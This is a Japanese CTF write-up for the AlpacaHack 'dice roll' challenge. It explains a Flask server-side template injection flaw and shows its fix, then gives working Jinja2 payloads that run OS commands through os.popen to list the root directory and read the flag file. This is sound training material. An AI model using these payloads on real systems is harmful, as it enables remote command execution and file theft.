【AlpacaHack】Writeup for dice roll

問題

dice roll - AlpacaHack
🦙 < Roll the dice!

脆弱性

以下は脆弱性のあるソースコードでrender_template_stringが該当の部分になります。

SSTI(Server-Side Template Injection / サーバサイド・テンプレート・インジェクション)と呼ばれ、ユーザの入力がテンプレートエンジンに渡されています。

def roll():
    username = request.args.get("username", "")

    dice = randint(1, 6)

    template = "Hello, " + username + "! Your roll of the dice is: {{ dice }}"
    return render_template_string(template, dice=dice)


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=3000)

例えば、{{10 + 10}}をするとテンプレートエンジンが解釈して「Hello ,20!」と計算されています。

脆弱性の修正

テンプレート構造は固定し、ユーザー入力は引数(変数)として渡すとよさそうです


def roll():
    username = request.args.get("username", "")
    dice = randint(1, 6)

    # テンプレート構造は固定し、ユーザー入力は引数(変数)として渡す
    template = "Hello, {{ name }}! Your roll of the dice is: {{ dice }}"
    return render_template_string(template, name=username, dice=dice)

以下のようにUsernameがそのまま渡されるようになりました

WriteUp

以下のようにテンプレートエンジンに渡すとOSコマンドが実行できます

{{request.application.__globals__.__builtins__.__import__('os').popen('OSコマンド').read()}}

以下のようにするとルートフォルダを表示することができます

{{request.application.__globals__.__builtins__.__import__('os').popen('ls -lah /').read()}}

Dockerファイルを見るとflagはルートにありそうです

FROM python:3.14.0-slim

WORKDIR /app

COPY requirements.txt .
RUN pip install -r requirements.txt

COPY . .

# Flag is at /flag-[md5 hash of flag].txt
RUN mv flag.txt /flag-$(md5sum flag.txt | awk '{print $1}').txt

USER nobody:nogroup

CMD ["gunicorn", "--workers", "8", "--bind", "0.0.0.0:3000", "app:app"]

「flag-f01dbe82bc9d1ea4a4de5d52f0f1dfbd.txt」こんな感じでフラグがあったのでcatコマンドでのぞいてみます。

フラグが見れました

{{request.application.__globals__.__builtins__.__import__('os').popen('cat /flag-f01dbe82bc9d1ea4a4de5d52f0f1dfbd.txt').read()}}

コメント

タイトルとURLをコピーしました